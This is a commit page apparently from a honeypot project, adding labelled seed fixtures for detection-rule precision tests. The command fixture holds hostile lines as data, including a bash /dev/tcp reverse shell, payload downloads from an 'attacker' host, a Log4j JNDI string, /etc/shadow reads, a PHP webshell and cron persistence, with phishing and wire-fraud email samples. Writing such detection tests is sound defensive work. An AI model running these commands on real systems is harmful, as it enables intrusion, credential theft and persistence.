anti/DECNET
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat(ttp): E.3.8 corpus + harness — labelled holdout fixture

Browse Source 
Sub-step preceding the rule-pack commits per TTP_TAGGING.md:2967.
Adds the per-rule precision suite scaffolding under
tests/ttp/rule_precision/:

- conftest.py: precision_engine fixture (RuleEngine populated from
  ./rules/ttp/), corpus_loader (real → seed → empty fallback),
  precision_for() helper for TP/FP accounting.
- _build_corpus.py: extractor for a real prod corpus pull. Mandatory
  --exclude-ip / DECNET_TTP_CORPUS_EXCLUDE_IPS — operator IPs never
  end up in the committed exclusion list. Pulls both 'command' and
  'unknown_command' event types.
- corpus/seed_*.jsonl: synthetic seed rows for each cohort so the
  harness exercises in clean checkouts.
- corpus/*.jsonl (operator-built) is gitignored.
- test_corpus_loads.py: sentinel that every seed file parses.
This commit is contained in:
anti
2026-05-01 09:08:07 -04:00
parent ed3f340ea8
commit c635478442
10 changed files with 442 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
tests/ttp/rule_precision/corpus/seed_behavioral.jsonl Normal file
View File

@@ -0,0 +1,2 @@
{"source_kind": "session", "payload": {"beacon_interval_s": 60, "beacon_jitter_pct": 0.05}, "expected_rule_ids": ["R0031"], "label": "low_jitter_beacon"}
{"source_kind": "session", "payload": {"beacon_interval_s": 0, "beacon_jitter_pct": 0}, "expected_rule_ids": [], "label": "negative_no_beacon"}

2
tests/ttp/rule_precision/corpus/seed_canary.jsonl Normal file
View File

@@ -0,0 +1,2 @@
{"source_kind": "canary_fingerprint", "payload": {"ua_signature": "HeadlessChrome/119", "navigator_webdriver": true}, "expected_rule_ids": ["R0049"], "label": "webdriver_flag"}
{"source_kind": "canary_fingerprint", "payload": {"ua_signature": "Mozilla/5.0", "navigator_webdriver": false}, "expected_rule_ids": [], "label": "negative_browser"}

41
tests/ttp/rule_precision/corpus/seed_commands.jsonl Normal file
View File

@@ -0,0 +1,41 @@
{"source_kind": "command", "payload": {"command_text": "hydra -L users.txt -P pass.txt ssh://10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "hydra_ssh_brute"}
{"source_kind": "command", "payload": {"command_text": "medusa -h 10.0.0.1 -u root -P passlist -M ssh"}, "expected_rule_ids": ["R0001"], "label": "medusa_ssh_brute"}
{"source_kind": "command", "payload": {"command_text": "ncrack -p 22 --user root -P rockyou.txt 10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "ncrack_ssh"}
{"source_kind": "command", "payload": {"command_text": "sqlmap -u http://victim/x?id=1 --dbs"}, "expected_rule_ids": ["R0007"], "label": "sqlmap_invocation"}
{"source_kind": "command", "payload": {"command_text": "curl -H 'X-Api-Version: ${jndi:ldap://x.evil/a}' http://target"}, "expected_rule_ids": ["R0008", "R0012"], "label": "log4j_jndi_curl"}
{"source_kind": "command", "payload": {"command_text": "curl http://target/page?file=../../../../etc/passwd"}, "expected_rule_ids": ["R0009", "R0013", "R0012"], "label": "path_traversal_passwd"}
{"source_kind": "command", "payload": {"command_text": "/bin/sh -c 'id'"}, "expected_rule_ids": ["R0010", "R0011", "R0019"], "label": "sh_dash_c_id"}
{"source_kind": "command", "payload": {"command_text": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}, "expected_rule_ids": ["R0010", "R0011"], "label": "bash_revshell_devtcp"}
{"source_kind": "command", "payload": {"command_text": "python3 -c 'import os; os.system(\"id\")'"}, "expected_rule_ids": ["R0011"], "label": "python_oneliner"}
{"source_kind": "command", "payload": {"command_text": "wget http://attacker/payload.sh -O /tmp/p.sh"}, "expected_rule_ids": ["R0012"], "label": "wget_http_payload"}
{"source_kind": "command", "payload": {"command_text": "curl -O http://attacker/loader.bin"}, "expected_rule_ids": ["R0012"], "label": "curl_http_loader"}
{"source_kind": "command", "payload": {"command_text": "cat /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "cat_etc_passwd"}
{"source_kind": "command", "payload": {"command_text": "less /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "less_etc_passwd"}
{"source_kind": "command", "payload": {"command_text": "cat /etc/shadow"}, "expected_rule_ids": ["R0014"], "label": "cat_etc_shadow"}
{"source_kind": "command", "payload": {"command_text": "find / -perm -u=s -type f 2>/dev/null"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_suid"}
{"source_kind": "command", "payload": {"command_text": "find / -perm -4000"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_perm_4000"}
{"source_kind": "command", "payload": {"command_text": "find / -name '*.conf'"}, "expected_rule_ids": ["R0016"], "label": "find_recursive_no_suid"}
{"source_kind": "command", "payload": {"command_text": "nmap -sS -p 1-65535 10.0.0.0/24"}, "expected_rule_ids": ["R0017"], "label": "nmap_scan"}
{"source_kind": "command", "payload": {"command_text": "masscan 10.0.0.0/8 -p443"}, "expected_rule_ids": ["R0017"], "label": "masscan"}
{"source_kind": "command", "payload": {"command_text": "uname -a"}, "expected_rule_ids": ["R0018"], "label": "uname_a"}
{"source_kind": "command", "payload": {"command_text": "lsb_release -a"}, "expected_rule_ids": ["R0018"], "label": "lsb_release"}
{"source_kind": "command", "payload": {"command_text": "id"}, "expected_rule_ids": ["R0019"], "label": "id_alone"}
{"source_kind": "command", "payload": {"command_text": "whoami"}, "expected_rule_ids": ["R0019"], "label": "whoami"}
{"source_kind": "command", "payload": {"command_text": "ip addr"}, "expected_rule_ids": ["R0020"], "label": "ip_addr"}
{"source_kind": "command", "payload": {"command_text": "ifconfig -a"}, "expected_rule_ids": ["R0020"], "label": "ifconfig"}
{"source_kind": "command", "payload": {"command_text": "netstat -an"}, "expected_rule_ids": ["R0021"], "label": "netstat_an"}
{"source_kind": "command", "payload": {"command_text": "ss -tnp"}, "expected_rule_ids": ["R0021"], "label": "ss_tnp"}
{"source_kind": "command", "payload": {"command_text": "ldapsearch -x -b dc=example,dc=com '(objectClass=user)'"}, "expected_rule_ids": ["R0022"], "label": "ldapsearch"}
{"source_kind": "command", "payload": {"command_text": "smbclient -L //10.0.0.1"}, "expected_rule_ids": ["R0023"], "label": "smbclient_list"}
{"source_kind": "command", "payload": {"command_text": "useradd -m -s /bin/bash backdoor"}, "expected_rule_ids": ["R0024"], "label": "useradd"}
{"source_kind": "command", "payload": {"command_text": "echo '* * * * * curl http://x/a' >> /var/spool/cron/root"}, "expected_rule_ids": ["R0025", "R0012"], "label": "cron_persist"}
{"source_kind": "command", "payload": {"command_text": "redis-cli -h 10.0.0.5 config set dir /root/.ssh"}, "expected_rule_ids": ["R0026"], "label": "redis_ssh_dir"}
{"source_kind": "command", "payload": {"command_text": "echo '<?php system($_GET[\"c\"]); ?>' > /var/www/html/x.php"}, "expected_rule_ids": ["R0027"], "label": "webshell_php"}
{"source_kind": "command", "payload": {"command_text": "history -c"}, "expected_rule_ids": ["R0028"], "label": "history_clear"}
{"source_kind": "command", "payload": {"command_text": "unset HISTFILE"}, "expected_rule_ids": ["R0028"], "label": "unset_histfile"}
{"source_kind": "command", "payload": {"command_text": "sudo -l"}, "expected_rule_ids": ["R0029"], "label": "sudo_l"}
{"source_kind": "command", "payload": {"command_text": "sudo su -"}, "expected_rule_ids": ["R0029"], "label": "sudo_su"}
{"source_kind": "command", "payload": {"command_text": "ls /tmp"}, "expected_rule_ids": [], "label": "negative_ls_tmp"}
{"source_kind": "command", "payload": {"command_text": "echo hello"}, "expected_rule_ids": [], "label": "negative_echo"}
{"source_kind": "command", "payload": {"command_text": "cd /var/log"}, "expected_rule_ids": [], "label": "negative_cd"}
{"source_kind": "command", "payload": {"command_text": "ps aux"}, "expected_rule_ids": [], "label": "negative_ps_aux"}

3
tests/ttp/rule_precision/corpus/seed_email.jsonl Normal file
View File

@@ -0,0 +1,3 @@
{"source_kind": "email", "payload": {"subject": "Urgent wire transfer needed", "from": "ceo@victim.example", "return_path": "evil@bad.example", "rcpt_count": 1, "body": "Please send $50k to the attached account immediately."}, "expected_rule_ids": ["R0047"], "label": "bec_wire"}
{"source_kind": "email", "payload": {"subject": "Newsletter", "from": "marketing@legit.example", "rcpt_count": 1, "body": "Hello world."}, "expected_rule_ids": [], "label": "negative_newsletter"}
{"source_kind": "email", "payload": {"subject": "Win a prize", "from": "promo@evil.example", "rcpt_count": 250, "body": "Click here http://evil.example/win"}, "expected_rule_ids": ["R0042"], "label": "mass_phish"}

2
tests/ttp/rule_precision/corpus/seed_intel.jsonl Normal file
View File

@@ -0,0 +1,2 @@
{"source_kind": "intel", "payload": {"verdict": "malicious", "provider": "abuseipdb", "categories": [18, 22]}, "expected_rule_ids": ["R0054"], "label": "abuseipdb_brute"}
{"source_kind": "intel", "payload": {"verdict": "benign", "provider": "greynoise", "tags": []}, "expected_rule_ids": [], "label": "negative_benign"}